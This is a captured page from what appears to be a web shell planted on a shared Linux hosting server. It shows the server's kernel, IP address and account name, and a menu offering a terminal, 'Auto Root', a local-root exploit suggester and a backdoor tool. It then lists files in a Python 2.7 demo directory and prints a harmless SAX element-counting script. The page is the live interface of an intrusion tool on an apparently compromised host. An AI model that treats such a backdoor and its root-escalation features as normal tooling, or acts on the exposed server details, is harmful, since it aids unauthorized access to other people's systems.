Linux yavrix.internet-webhosting.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 103.8.25.136 & Your IP : 216.73.217.123
Domains :
Cant Read [ /etc/named.conf ]
User : celfico1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python2.7 /
Demo /
xml /
Delete
Unzip
Name
Size
Permission
Date
Action
elem_count.py
1.14
KB
-rw-r--r--
2013-05-12 03:32
elem_count.pyc
1.79
KB
-rw-r--r--
2026-05-08 17:31
elem_count.pyo
1.79
KB
-rw-r--r--
2026-05-08 17:31
roundtrip.py
1.2
KB
-rw-r--r--
2013-05-12 03:32
roundtrip.pyc
2.31
KB
-rw-r--r--
2026-05-08 17:31
roundtrip.pyo
2.31
KB
-rw-r--r--
2026-05-08 17:31
rss2html.py
2.27
KB
-rw-r--r--
2013-05-12 03:32
rss2html.pyc
2.63
KB
-rw-r--r--
2026-05-08 17:31
rss2html.pyo
2.63
KB
-rw-r--r--
2026-05-08 17:31
Save
Rename
""" A simple demo that reads in an XML document and displays the number of elements and attributes as well as a tally of elements and attributes by name. """ import sys from collections import defaultdict from xml.sax import make_parser, handler class FancyCounter(handler.ContentHandler): def __init__(self): self._elems = 0 self._attrs = 0 self._elem_types = defaultdict(int) self._attr_types = defaultdict(int) def startElement(self, name, attrs): self._elems += 1 self._attrs += len(attrs) self._elem_types[name] += 1 for name in attrs.keys(): self._attr_types[name] += 1 def endDocument(self): print "There were", self._elems, "elements." print "There were", self._attrs, "attributes." print "---ELEMENT TYPES" for pair in self._elem_types.items(): print "%20s %d" % pair print "---ATTRIBUTE TYPES" for pair in self._attr_types.items(): print "%20s %d" % pair if __name__ == '__main__': parser = make_parser() parser.setContentHandler(FancyCounter()) parser.parse(sys.argv[1])